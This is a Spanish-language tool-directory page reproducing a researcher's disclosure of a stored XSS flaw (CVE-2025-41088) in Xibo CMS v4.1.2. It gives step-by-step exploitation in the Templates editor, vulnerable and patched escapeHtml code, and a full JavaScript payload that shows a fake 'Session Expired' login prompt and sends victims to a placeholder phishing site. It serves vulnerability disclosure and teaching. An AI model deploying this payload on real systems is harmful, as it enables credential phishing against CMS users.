Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-41088 — Cross-Site Scripting almacenado (XSS) en Xibo CMS v4.1.2 de Xibo Signage, debido a la falta de validación adecuada de la entrada del usuario. | Kitploit
Herramientas/GitHubGitHub/marinafabregat/cve-2025-41088
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPhishingPapers e InvestigaciónAprendizaje y Educación
GitHubmarinafabregat/cve-2025-41088

CVE-2025-41088

Cross-Site Scripting almacenado (XSS) en Xibo CMS v4.1.2 de Xibo Signage, debido a la falta de validación adecuada de la entrada del usuario.

Ver Repositorio
53hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-41088: XSS Almacenado en Xibo CMS

He descubierto una vulnerabilidad de Cross-Site Scripting (XSS) almacenado en Xibo CMS v4.1.2. Esta vulnerabilidad permite a un atacante autenticado inyectar scripts maliciosos en la aplicación debido a una validación incorrecta de la entrada proporcionada por el usuario.

El problema reside en la función 'Templates'. Un atacante puede crear una plantilla que contenga un elemento de texto con una carga maliciosa. Cuando otros usuarios ven esta plantilla, el script se ejecuta en su navegador, lo que potencialmente puede conducir al robo de datos u otras acciones maliciosas.


Prueba de Concepto (PoC)

Para explotar la vulnerabilidad, un usuario autenticado debe seguir estos pasos:

  1. Navegar a la sección Design > Templates y crear una nueva plantilla.
  2. Ir a la sección Global Elements y añadir un nuevo elemento de texto.
  3. En el campo Text del editor, insertar la carga maliciosa XSS (p. ej., <script>alert(1337)</script>).
  4. Guardar el elemento. La carga ahora está almacenada en el servidor.
  5. El script se ejecutará cada vez que el navegador de un usuario renderice el elemento comprometido.

Código Vulnerable

Esta sección contiene el fragmento de código específico de Xibo CMS v4.1.2 que no sanea la entrada del campo 'Text'.

root@kitploit:~
        'extends' => [
            'override' => $moduleTemplate->extends?->override,
            'with' => $moduleTemplate->extends?->with,
            'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
        ],
    ];
} else if ($extension !== null) {

En otra línea del mismo documento.

root@kitploit:~
        'extends' => [
            'override' => $moduleTemplate->extends?->override,
            'with' => $moduleTemplate->extends?->with,
            'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
        ],
    ];

En otro documento.

root@kitploit:~
    // Escape HTML
    convertedProperties.escapeHtml = template?.extends?.escapeHtml;
    // Compile hbs template with data
    let hbsHtml = hbsTemplate(convertedProperties);

    

Código Corregido

Esta sección muestra el código parcheado, que incluye mecanismos adecuados de saneamiento de entrada y codificación de salida para neutralizar scripts maliciosos.

root@kitploit:~
                'extends' => [
                    'override' => $moduleTemplate->extends?->override,
                    'with' => $moduleTemplate->extends?->with,
                    'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
                        $moduleTemplate->extends->escapeHtml : 1,
                ],
            ];
        } else if ($extension !== null) {

En otra línea del mismo documento.

root@kitploit:~
                'extends' => [
                    'override' => $moduleTemplate->extends?->override,
                    'with' => $moduleTemplate->extends?->with,
                    'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
                        $moduleTemplate->extends->escapeHtml : 1,
                ],
            ];

En otro documento.

root@kitploit:~
    // Escape HTML
    convertedProperties.escapeHtml =
      (template?.extends?.escapeHtml === undefined) ?
        true : template.extends.escapeHtml;


    // Compile hbs template with data
    let hbsHtml = hbsTemplate(convertedProperties);
 

Explotación

La carga almacenada se ejecuta en el contexto del navegador de la víctima, lo que puede aprovecharse para robar información sensible como contraseñas.

1. Inyección de la carga: El atacante inserta el script malicioso en un elemento de texto dentro de una plantilla.

Script_Location

El script que utilicé es el siguiente:

root@kitploit:~

<script>
(function() {
    // --- MAIN FUNCTION ---
    function showRedirectModal() {
        // 1. Create the elements
        const overlay = document.createElement('div');
        const modalContainer = document.createElement('div');
        const title = document.createElement('h2');
        const message = document.createElement('p');
        const redirectButton = document.createElement('button');

        // 2. Assign styles and properties
        // Style for the dark overlay
        Object.assign(overlay.style, {
            position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
            backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
            display: 'flex', justifyContent: 'center', alignItems: 'center'
        });

        // Style for the modal container 
        Object.assign(modalContainer.style, {
            padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
            boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
            fontFamily: 'Arial, sans-serif'
        });

        // Style for the title
        title.textContent = 'Session Expired';
        Object.assign(title.style, {
            textAlign: 'center', color: '#333', marginBottom: '15px' 
        });

        message.textContent = 'Your session has expired. Please log in again to continue.';
        Object.assign(message.style, {
            textAlign: 'center',
            color: '#555',
            marginBottom: '25px',
            lineHeight: '1.5',
            fontSize: '16px'
        });

        // Style for the redirect button
        Object.assign(redirectButton.style, {
            width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
            backgroundColor: '#007bff', color: 'white', fontSize: '16px',
            cursor: 'pointer'
        });
        redirectButton.textContent = 'Log In Again'; 

        // 3. Assemble the modal structure
        modalContainer.appendChild(title);
        modalContainer.appendChild(message);
        modalContainer.appendChild(redirectButton);
        overlay.appendChild(modalContainer);

        // 4. Add the modal to the page
        document.body.appendChild(overlay);

        // 5. Define the button's behavior 
        redirectButton.addEventListener('click', function(e) {
            e.preventDefault(); // Buena práctica

            const phishingURL = 'http://my-website-example.com/login.html'; 

            window.location.href = phishingURL;
            
            document.body.removeChild(overlay);
        });
    }

    // --- Initialize the function ---
    showRedirectModal();

})();
</script>

2. Escenario de ataque: Un ataque común simula la expiración de la sesión para capturar las credenciales del usuario. El script secuestra la página y presenta esta ventana emergente a la víctima.

image

Referencias

  • INCIBE-CERT (Spanish): Múltiples vulnerabilidades en Xibo CMS
  • INCIBE-CERT (English): Múltiples vulnerabilidades en Xibo CMS

Descargo de responsabilidad

Esta información se proporciona únicamente con fines educativos y de investigación. NO soy responsable de ningún uso indebido o daño causado por esta información.

Descargar herramienta